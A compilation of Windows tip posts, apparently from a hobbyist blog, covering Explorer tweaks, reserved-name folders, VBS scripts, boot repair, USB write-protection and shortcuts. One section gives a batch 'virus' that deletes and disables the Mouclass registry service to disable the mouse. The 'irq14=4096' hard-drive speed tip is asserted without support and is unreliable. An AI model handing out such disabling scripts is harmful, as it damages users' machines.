5 Cool Windows Explorer Hacks

Windows explorer is also known as file explorer in Windows 8. We all use windows explorer daily, there is no doubt in that. We Customize our web browsers with add ons and plugins then why not Customize Windows Explorer to make it more easy to use and efficient.

Earlier we saw How to Customize folders with different Colors which can also be added in this tutorial today of Cool Windows explorer hacks

5 Cool Windows Explorer Hacks

1)Start Your Favorite Folder on Click:

Windows 7 comes with a pinned explorer folder to the taskbar which when clicked opens the Library as the default folder. If you don’t use Windows library often enough and would like to change the default folder to one of your preferred ones then you want to open on Click

• To Start with we will Right click on the Windows Explorer from the task bar icon. A list will show up, Now again Click on Windows Explorer (File Explorer) and Click on Properties.

• You can see a Dialog Box appears, There you Can see target path is somewhat likeAppData\Roaming\Microsoft\Windows\Libraries all we have to do is change this path to your desired folder that you want to open up every time you launch file explorer.

• As here we are going to Change it to Download Folder we will change the path to C:\Users\*Username*\Downloads. Click OK and we have successfully changed the path now.

2) Add Copy to and Move to Folder options : 

We can add “Copy to Folder” and “Move to Folder” to your Context Menu. Windows Don’t Provide these options by default but we can add with a simple Registry hack.

To add Copy to and move to  folder Option : Click here to Download Add_Move_To_Folder.reg File.

And Click here to Download Add_Move_To_Folder.reg file. 

These files are  small regsitry file for windows that will help you to add Copy to folder and Move to Folder option. Once downloaded, Double click on it, Click Run when Prompted. then you may be asked to click on yes and ok Couple of times.

When Everything is done, Right Click on any folder and check if its Showing Move to and Copy to Folder options. You Can see Move to and Copy to Folders are now added to your Context menu like mine.

Tip: Hold Down CTRL key , Drag and drop Source file to Destination to Copy it. And Hold down SHIFT key, Drag and Drop Source file to Destination to Move it.

3)Select using Checkboxes

Many a times we find ourselves in situations where we need to select multiple files in Windows explorer to. Suppose you need to copy multiple images or songs to a removable drive, or you want to drag and drop some songs in the play list. Most of us will hold down the Ctrl key to select these files to do the task at hand.

Well, the point here is why use two hands when it can be done using the mouse alone. What you can do it, you can enable the checkbox view in Windows Explorer and select multiple files. 

Step 1. Open Windows explorer.

Step 2. On the top navigation bar, click on Organize –> Folder and search options. Or click onView>Options>Change folder and search options.

Step 3. Now click on View tab on the top, scroll down the Advanced settings pane (where you see all kinds of checkboxes) and check the box that says “Use checkboxes to select items.” Then, click OK.

Step 4. You’ll now find that whenever you hover the mouse cursor over any file or folder in Windows explorer, it automatically shows a checkbox to help you select it.

Also Read: 5 Best Command Prompt Tricks

4) Better File Copying Speed: 

Windows have made some efforts in windows 8 to improve Copying Speed. Copying FIles is better in windows 8 as compared to older versions but yet its slow and many times it Conflicts, so We will be Using TeraCopy to Takeup this task and its Fast and Effective. What it does is, it  Eliminates windows Default File-Copy Dialog  and gives us a better one.

After Installing TeraCopy, Whenever you Will Copy and paste, TeraCopy will Come into Action and do the Task for you much Faster. it also adds itself to Context Menu as an Option if in Case you prefer to Use it only when you Want to .

5) Add Tabs in Windows Explorer: 

Apple’s Finder is getting tabs in OS X Mavericks, and Linux file managers have had tabs for a long time. But Windows Explorer is still without tabs, even on Windows 8. Internet Explorer was the last big browser to get tabs, and it seems that Windows Explorer will be the last big file manager to get tabs if it ever does.

While you can replace Windows Explorer with tabbed file managers, you don’t have to switch to a new file manager just for this small feature. Third-party tools like QTTabBar can add tabs to Windows Explorer, giving you the ability to have several folders open in the same file browsing window.

All you have to do is Install it and you may be asked to reboot yur Pc. so do it to enjoy tabs in Windows Explorer.

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Create A Undeletable And Unrenamable Folders In Windows

In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

NOTE: Pls Use this as your own saftey

1. Go to Start and then Click on Run
2. Type cmd & hit enter (To open Command Prompt ).
3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
4. Type D: or E: and hit enter
5. Type md con\ and hit enter (md - make directory)
6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
7. Open that directory, you will see the folder created of name con.
8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.

1. Open Command Prompt
2. Type D: ( if u created this type of folder in D: drive) & hit enter
3. Type rd con\ (rd - remove directory)
4. Open that directory and the folder will not appear because it is removed.

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Dancing Keyboard Led

In this part i will show you to make interesting file using notepad which will make keyboard led to dance. basically we will be creating a visual basic script.

1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

wshshell.sendkeys "{NUMLOCK}"

wshshell.sendkeys "{SCROLLLOCK}"

loop 

2. Then save this file as dance.vbs (name can be anything but .vbs is must)

3. Open your save file and see your keyboard led blinking like disco lights.

​

• To stop this script go to Task manager > Process and search for wscript.exe and click on END Process as shown in below image.

NOTE = IF THE LINK NOT OPEN PLS COPY THE LINK AND USE IN NEW TAB

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Make A Virus That Disable Mouse

today I will be making a batch virus which is harm-full it will disable your mouse so think before trying it on yourself.

NOTE: Just Created and don't use it in your own pc

How To Disable Mouse

1. Open Notepadand copy below codes

rem ---------------------------------

rem Disable Mouse

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

rem ---------------------------------

2. Save this file as virus.bat

3. Done you just created your virus.

NOTE = IF THE LINK NOT OPEN PLS COPY THE LINK AND USE IN NEW TAB​

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Windows 8 Boot Issues? Try Fixing The Master Boot Record (mbr) Or Boot Configuration Data (bcd)

WINDOWS 8 received a decent amount of enhancements on the desktop side that I tend to appreciate versus running Windows 7, even if that means I get Metro standing in the middle here and there occasionally. One such area of improvement is notification management and how it handles updates and system restarts. Running the final version of the OS for a few months now, it’s been a painless affair until this past weekend.

I shut down my desktop PC with the purpose of connecting new hardware and on the way out I was prompted to “update and shutdown”. Sure, why not. I went on to install a secondary SSD for maintenance purposes and apparently that was enough for my system to refuse booting right after. I tried to backtrack to no avail.

 

"Reboot and select proper boot device"

I bet you have no love for the message, neither do I.

Because I had disconnected a few devices, it took me a while to narrow things down to my boot SSD, and for a second I even thought the SSD had gone forever kaput. After booting with a different drive and noting I could read all my data on the drive in question, I took a deep breath and started to troubleshoot the boot record. Once you settle on the idea that it’s not a hardware problem and you are unable to boot up, your best bet is to try to fix the MBR (Master Boot Record).

With a long history of dual booting different versions of Windows over the years, finding a corrupt MBR, boot sector, or Boot Configuration Data (BCD) is nothing new, but it took me longer than usual to come to a solution. Here are a few things you can try and hopefully get back to full speed in no time.

First of all, you will need a BOOTABLE DISK OR PEN DRIVE. Although it's not a requirement, to be on the safe side it's recommended at this point that you disconnect other storage devices from your PC and leave only the SSD/HDD that you are troubleshooting.

Booting into the Windows 8 setup, select “Repair your computer” in the bottom part of the window, then “Troubleshoot” and “Advanced options”. Here I was given a good reminder of another cool Windows 8 feature. If you have a restore point created you can go back to that working copy of the OS without losing your data. Well, I didn’t have any.

So the first thing you will want to try is the Automatic Repair.

If that fixes your boot problem, you had it easy and go on to create a restore point for another time you are out of luck. If Windows is unable to fix your issue, read on.

Go back to the Advanced options and choose the Command Prompt. Going for the next easiest way to fix the problem, enter the following four commands into the prompt:

bootrec /fixmbr

bootrec /fixboot

bootrec /scanos

bootrec /rebuildbcd 

After receiving a success confirmation. Close the CMD window and restart your PC.

If you are booted into Windows, excellent! If not, let’s try one last thing. Follow the previous steps until you have landed into the Command Prompt.

Enter the “bcdedit” command. A lists of items will appear under Windows Boot Manager and under Windows Boot Loader. Look for the following items:

• Under Windows Boot Manager, the Device item should be set to unknown.
• Under Windows Boot Loader, the Device and os device items should be set to unknown.

Run the following three commands to correct the settings:

bcdedit /set {default} device partition=c:

bcdedit /set {default} osdevice partition=c:

bcdedit /set {bootmgr} device partition=c:

One last thing to try (though in theory, it's the repeating what we’ve done before) browse to the folder X:SourcesRecovery and then enter “StartRep.exe” which executes another automated startup repair utility.

Hope this helps, and best of luck!​

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Auto Shutdown (schedule Shutdown)your Pc Without Any Software Program Or Without Any Command Easly!

Let us imagine we are downloading something at night from internet (movies, software , etc) and we don’t want our PC to be powered on for the whole night so at that time you can turn on automatic shutdown feature in your windows operating system.

Automatic Shutdown can be achieved by writing a small script given below:

Step 1 > Copy and paste below code in notepad

___________________________________________________________________________________

Dim p

Dim q

set oShell = createobject("wscript.shell")

Set Sapi = Wscript.CreateObject("SAPI.SpVoice")

p = InputBox(" Would You Like To Shutdown Your PC Automatically Answer: yes/no(in small letters) in the below text field","Tekspot Pc Auto Shutdown")

if p = "yes" then

q = InputBox("Enter Time After Which PC Shutdown Automatically(Time in minutes Plzz...):","TEKSPOT AUTOSHUT MINTUES")

sapi.speak q + "minutes left for pc to shutdown , PC Is Now Set For Automatic Shutdown ! Your Pc will shutdown automatically, GOOD BYE ! Thank You For Visiting Techingspot.tk "

oShell.Run "shutdown.exe -s -t " & (q * 60) & " -f -c ""PC Is Now Set For Automatic Shutdown ! Have a good day GOOD BYE See You later, To Turnoff Automatic PC Shutdown Just Reclick on the File And Type no"""

end if

if p = "no" then

sapi.speak "Okay , Thank You For Visiting Techingspot.tk "

oShell.run "shutdown.exe -a"

end if

________________________________________________________________________________________

Step 2 > Now save as shutdown.vbs (REMEMBER TO INSERT .vbs AFTER ANY NAME YOU USE) as shown below

 

Step 3 >Now go to saved directory (where you saved the script)and click on it.

 

Step 4 > It will ask you to confirm now type 'yes' as shown below.

 

Step 5 > Now it will ask you to enter number of minutes so enter your desire minutes as i choose 1 and hit ok.(DONT LEAVE THE FIELD BLANK BECAUSE THAT MEANS 0 MINUTES AND YOUR PC WILL SHUT DOWN IMMEDIATELY)

 

Step 6 > Thats it now your pc will auto shutdown after given minutes which you choose (as i choose 1 minute)

 

To stop auto shutdown reclick on the vbs then select no.

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How To Enable Write Protect Your Usb Flash Drive

 

To enable write protect on a usb which does not have write-protect feature follow these steps.

1. Open the Registry Editor (Open the “Run” dialog box, type regedit and hit “Enter”).

2. Navigate to the following Registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\

3. Now right-click on Control, and click on New>Key 

4.Now rename this new key to StorageDevicePolicies..

5 Now right-click on StorageDevicePolicies and create a New>DWORD (32-bit) Value 

6 Now rename this value to WriteProtect

7 Double-click on WriteProtect and set the Value data to 1.

Now the right-protection for USB drives is enabled on your computer (no restart required) and thus it would not be possible for anyone or any program to add/delete the contents from your USB flash drive. Any attempt to copy or download the files onto the USB drive will result in the following error message being displayed.

USB-Write Protect Error

To revert and remove the write-protection, all you need to do is just change the value data for write-protect (Step-5) from 1 back to 0. Now write access to all the USB devices is re-enabled.

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Keyboard Shortcuts For Windows

Windows system key combinations

• F1: Help
• CTRL+ESC: Open Start menu
• ALT+TAB: Switch between open programs
• ALT+F4: Quit program
• SHIFT+DELETE: Delete item permanently
• Windows Logo+L: Lock the computer (without using CTRL+ALT+DELETE)

Windows program key combinations

• CTRL+C: Copy
• CTRL+X: Cut
• CTRL+V: Paste
• CTRL+Z: Undo
• CTRL+B: Bold
• CTRL+U: Underline
• CTRL+I: Italic

Mouse click/keyboard modifier combinations for shell objects

• SHIFT+right click: Displays a shortcut menu containing alternative commands
• SHIFT+double click: Runs the alternate default command (the second item on the menu)
• ALT+double click: Displays properties
• SHIFT+DELETE: Deletes an item immediately without placing it in the Recycle Bin

General keyboard-only commands

• F1: Starts Windows Help
• F10: Activates menu bar options
• SHIFT+F10 Opens a shortcut menu for the selected item (this is the same as right-clicking an object
• CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)
• CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)
• CTRL+SHIFT+ESC: Opens Windows Task Manager
• ALT+DOWN ARROW: Opens a drop-down list box
• ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)
• SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature
• ALT+SPACE: Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)
• ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)
• CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program
• ALT+underlined letter in menu: Opens the menu
• ALT+F4: Closes the current window
• CTRL+F4: Closes the current Multiple Document Interface (MDI) window
• ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Find dialog box is displayed, ALT+F6 switches between theFind dialog box and the main Notepad window)

Shell objects and general folder/Windows Explorer shortcuts

For a selected object:

• F2: Rename object
• F3: Find all files
• CTRL+X: Cut
• CTRL+C: Copy
• CTRL+V: Paste
• SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin
• ALT+ENTER: Open the properties for the selected object

To copy a file

Press and hold down the CTRL key while you drag the file to another folder.

To create a shortcut

Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.

General folder/shortcut control

• F4: Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows Explorer)
• F5: Refreshes the current window.
• F6: Moves among panes in Windows Explorer
• CTRL+G: Opens the Go To Folder tool (in Windows 95 Windows Explorer only)
• CTRL+Z: Undo the last command
• CTRL+A: Select all the items in the current window
• BACKSPACE: Switch to the parent folder
• SHIFT+click+Close button: For folders, close the current folder plus all parent folders

Windows Explorer tree control

• Numeric Keypad *: Expands everything under the current selection
• Numeric Keypad +: Expands the current selection
• Numeric Keypad -: Collapses the current selection.
• RIGHT ARROW: Expands the current selection if it is not expanded, otherwise goes to the first child
• LEFT ARROW: Collapses the current selection if it is expanded, otherwise goes to the parent

Properties control

• CTRL+TAB/CTRL+SHIFT+TAB: Move through the property tabs

Accessibility shortcuts

• Press SHIFT five times: Toggles StickyKeys on and off
• Press down and hold the right SHIFT key for eight seconds: Toggles FilterKeys on and off
• Press down and hold the NUM LOCK key for five seconds: Toggles ToggleKeys on and off
• Left ALT+left SHIFT+NUM LOCK: Toggles MouseKeys on and off
• Left ALT+left SHIFT+PRINT SCREEN: Toggles high contrast on and off

Microsoft Natural Keyboard keys

• Windows Logo: Start menu
• Windows Logo+R: Run dialog box
• Windows Logo+M: Minimize all
• SHIFT+Windows Logo+M: Undo minimize all
• Windows Logo+F1: Help
• Windows Logo+E: Windows Explorer
• Windows Logo+F: Find files or folders
• Windows Logo+D: Minimizes all open windows and displays the desktop
• CTRL+Windows Logo+F: Find computer
• CTRL+Windows Logo+TAB: Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)
• Windows Logo+TAB: Cycle through taskbar buttons
• Windows Logo+Break: System Properties dialog box
• Application key: Displays a shortcut menu for the selected item

Microsoft Natural Keyboard with IntelliType software installed

• Windows Logo+L: Log off Windows
• Windows Logo+P: Starts Print Manager
• Windows Logo+C: Opens Control Panel
• Windows Logo+V: Starts Clipboard
• Windows Logo+K: Opens Keyboard Properties dialog box
• Windows Logo+I: Opens Mouse Properties dialog box
• Windows Logo+A: Starts Accessibility Options (if installed)
• Windows Logo+SPACEBAR: Displays the list of Microsoft IntelliType shortcut keys
• Windows Logo+S: Toggles CAPS LOCK on and off

Dialog box keyboard commands

• TAB: Move to the next control in the dialog box
• SHIFT+TAB: Move to the previous control in the dialog box
• SPACEBAR: If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.
• ENTER: Equivalent to clicking the selected button (the button with the outline)
• ESC: Equivalent to clicking the Cancel button
• ALT+underlined letter in dialog box item: Move to the corresponding item

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Increase Your Hard Drive Speed Without Any Software

Increase your hard disk transfer by using a simple and easy step follow the below step.WORKS ON WINDOWS 7 ONLY

STEP 1>Click Start menu and select run. Now type (sysedit.exe) in run and press enter.

System configuration editor will appear.

STEP 2>Here you can see some multiple windows but you will select (system.ini).

STEP 3>This window contains a line (386enh) Now after this line type (irq14=4096)Now close this window and save it.Any mistake in this step may cause harm..(WE ARE NOT RESPONSIBLE FOR ANY DAMAGE IF YOU DID THIS STEP WRONG)

Reboot your computer now You will surely feel better performance of your computer.

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